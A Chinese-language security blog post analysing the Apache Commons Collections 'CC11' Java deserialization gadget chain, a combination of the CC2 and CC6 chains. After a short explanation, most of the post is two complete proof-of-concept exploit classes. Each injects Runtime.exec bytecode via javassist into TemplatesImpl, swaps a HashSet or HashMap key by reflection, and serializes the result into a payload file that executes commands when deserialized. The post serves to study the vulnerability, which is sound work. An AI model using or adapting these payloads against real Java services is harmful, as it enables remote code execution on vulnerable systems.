java安全-CC11链学习与分析
2023-03-14 12:51:00

0x00、前言

CC1-7分析完,接着cc11使用比较广泛(优势:使用到字节码加载且cc组件版本在3.1-3.2.1),接着分析下CC11(CC2+CC6的组合变式)。该链我认为跟CCK1链区别不是很大,暂且算在同一个利用链链上面。

0x01、分析

回顾

CC2(TemplatesImpl):

  • 通过反射调用InvokerTransformer构造方法传递方法名getOutputProperties/newTransformer
  • 通过javassist生成恶意代码的字节码。
  • 通过TemplatesImpl将字节码转化成类。
  • 将反射InvokerTransformer对象作为比较器传递入PriorityQueue优先级队列。
  • TemplatesImpl对象元素添加入PriorityQueue队列。
  • 在比较器进行元素比较时触发TemplatesImplgetOutputProperties/newTransformer方法,触发漏洞。

CC6:

  • 生成LazyMap对象,将InvokerTransformer利用方法串起来的ChainedTransformer对象传入LazyMap构造方法。
  • LazyMap对象传入TiedMapEntry类构造方法,再通过TiedMapEntry.hashCode()方法去调用TiedMapEntry.getValue()方法,最后调用到lazyMap.get()方法。
  • 通过使用hashmapput方法添加元素时调用hash(key)方法,进而调用key.hashCode()方法,将TiedMapEntry对象作为keyputhashmap中,达到调用TiedMapEntry.hashCode()的目的(hashSet同理,本质上都是调用hashmap)。

cc2和cc6的分析:(就不把相同部分贴进来了分析思路即可)
cc2
cc6

分析

cc11使用cc2的字节码再加上cc6的hashset(hashmap同理)进行组合变式,通过hashset的添加值去触发字节码加载达到漏洞效果。

TemplatesImpl字节码加载部分见cc2分析中写的即可,主要目的是调用newTransformer/getOutputProperties方法来对字节码加载进行实例化,从而触发漏洞。

cc6利用原理

接着先理一下cc6中后半段得利用

Lazymap调用decorate方法对Lazymap进行实例化对象,同时传递参数Transformer factory

调用构造方法对factory变量进行赋值

然后通过调用lazymapget方法调用factory.transform(key)方法

Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

然后将上面的transformerChain变量传递实例化Lazymapfactory,达到调用transformers.transform(),触发漏洞。

然后就是找到在哪调用的LazyMap.get方法,cc6中就是通过TiedMapEntry.getValue()去调用get方法

接着上一步hashCode方法调用getValue()

然后通过hashset调用hashCode,调用情况如下,将TiedMapEntry作为key,调用hashset.add(key)即可调用key.hashCode()TiedMapEntry.hashCode()触发漏洞



cc11分析

漏洞原理知道了,现在就看cc11中hashset如何调用到TemplatesImpl字节码的newTransformer/getOutputProperties方法

主要变动在链转换器的调用

//通过反射调用InvokerTransformer的带参构造方法,参数为执行的方法名,因此传递类型为String.class
Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer").getDeclaredConstructor(String.class);
//突破限制,强制调用
cons.setAccessible(true);
//生成InvokerTransformer对象,引用构造函数,参数为getOutputProperties方法名,也可以为newTransformer方法名
InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer");

cc11通过反射调用invokerTransformer对象构造参数,并将newTransformer方法名传入

然后调用LazyMap调用decorate方法对Lazymap进行实例化对象,同时传递参数Transformer factory(参数即为invokerTransformer对象),目的调用invokerTransformer.transform()

只需要传递的key为TemplatesImpl对象,就能调用invokerTransformer.transform(TemplatesImpl),即反射调用TemplatesImpl.newTransformer方法,触发漏洞。

通过TiedMapEntry调用get方法,其中key参数即为TemplatesImpl对象目的调用get(TemplatesImpl),其中的map参数即为Lazymap对象,目的调用Lazymap.get()方法

因此构造的代码为,后面通过hashset.add进行触发,为了规避本地触发问题,通过反射修改hashset表的key值在cc6中分析提及过。

    //通过反射调用InvokerTransformer的带参构造方法,参数为执行的方法名,因此传递类型为String.class
Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer").getDeclaredConstructor(String.class);
//突破限制,强制调用
cons.setAccessible(true);
//生成InvokerTransformer对象,引用构造函数,参数为getOutputProperties方法名,也可以为newTransformer方法名
InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer");

//效果同上,方式不同,一种通过反射调用单参数的构造方法,另一种通过反射修改参数值,因为InvokerTransformer类的单参数构造方法无法直接实例化
//InvokerTransformer transformer = new InvokerTransformer("any", new Class[0], new Object[0]);
//反射修改iMethodName值为调用TemplatesImpl的newTransformer来执行恶意字节码
//setFieldValue(transformer,"iMethodName","newTransformer");

Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,invokerTransformer);
TiedMapEntry TM=new TiedMapEntry(Lmap,templates);
HashSet hs=new HashSet(1);
hs.add("any");

//获取hashset中的hashmap对象属性
Field hsset = HashSet.class.getDeclaredField("map");
hsset.setAccessible(true);
HashMap hsmap=(HashMap) hsset.get(hs);

//通过反射获取HashMap表中的table字段属性
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(hsmap);
//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}
//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);

//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);

TemplatesImpl字节码部分和反序列化部分加上就得到完整的poc:

cc11-poc(hashset)

public class CC11Test {
public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2 = ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct = pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2 = ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates, "_bytecodes", bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates, "_class", null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates, "_name", "test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.getDeclaredConstructor().newInstance());

//通过反射调用InvokerTransformer的带参构造方法,参数为执行的方法名,因此传递类型为String.class
Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer").getDeclaredConstructor(String.class);
//突破限制,强制调用
cons.setAccessible(true);
//生成InvokerTransformer对象,引用构造函数,参数为getOutputProperties方法名,也可以为newTransformer方法名
InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer");

//效果同上,方式不同,一种通过反射调用单参数的构造方法,另一种通过反射修改参数值,因为InvokerTransformer类的单参数构造方法无法直接实例化
//InvokerTransformer transformer = new InvokerTransformer("any", new Class[0], new Object[0]);
//反射修改iMethodName值为调用TemplatesImpl的newTransformer来执行恶意字节码
//setFieldValue(transformer,"iMethodName","newTransformer");

Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,invokerTransformer);
TiedMapEntry TM=new TiedMapEntry(Lmap,templates);
HashSet hs=new HashSet(1);
hs.add("any");

//获取hashset中的hashmap对象属性
Field hsset = HashSet.class.getDeclaredField("map");
hsset.setAccessible(true);
HashMap hsmap=(HashMap) hsset.get(hs);

//通过反射获取HashMap表中的table字段属性
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(hsmap);
//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}
//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc11payload.ser"));
outputStream.writeObject(hs);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc11payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}

}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

执行效果:

cc11-poc(hashmap)

同理,hashmap同样能作为反序列化入口(hashset相当于套用了hashmap,可以理解为固定value值的hashmap)

public class CC11Test2 {
public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2 = ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct = pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2 = ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates, "_bytecodes", bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates, "_class", null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates, "_name", "test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.getDeclaredConstructor().newInstance());

//通过反射调用InvokerTransformer的带参构造方法,参数为执行的方法名,因此传递类型为String.class
Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer").getDeclaredConstructor(String.class);
//突破限制,强制调用
cons.setAccessible(true);
//生成InvokerTransformer对象,引用构造函数,参数为getOutputProperties方法名,也可以为newTransformer方法名
InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer");

//效果同上,方式不同,一种通过反射调用单参数的构造方法,另一种通过反射修改参数值,因为InvokerTransformer类的单参数构造方法无法直接实例化
//InvokerTransformer transformer = new InvokerTransformer("any", new Class[0], new Object[0]);
//反射修改iMethodName值为调用TemplatesImpl的newTransformer来执行恶意字节码
//setFieldValue(transformer,"iMethodName","newTransformer");

Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,invokerTransformer);
TiedMapEntry TM=new TiedMapEntry(Lmap,templates);
HashMap hm=new HashMap(1);
hm.put("any","any");

// //获取hashset中的hashmap对象属性
// Field hsset = HashSet.class.getDeclaredField("map");
// hsset.setAccessible(true);
// HashMap hsmap=(HashMap) hsset.get(hm);

//通过反射获取HashMap表中的table字段属性
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(hm);
//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}
//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc11payload-1.ser"));
outputStream.writeObject(hm);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc11payload-1.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}

}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

执行效果:

0x02、总结

cc11很好理解,cc2+cc6的组合变式,将invokerTransformer利用方向替换为调用newTransformer方法,依旧使用hashset(hashmap同理,cc6中提及)作为反序列化入口,通过TiedMapEntry传入lazymapTemplatesImpl对象,来达到调用TemplatesImpl.newTransformer的目的触发漏洞。

cc11也是在cc3.1-3.2.1组件上使用字节码加载的利用链,在之前cc链的字节码加载都是在cc4版本组件上适用,因此cc11链适用范围比前面的利用链跟广。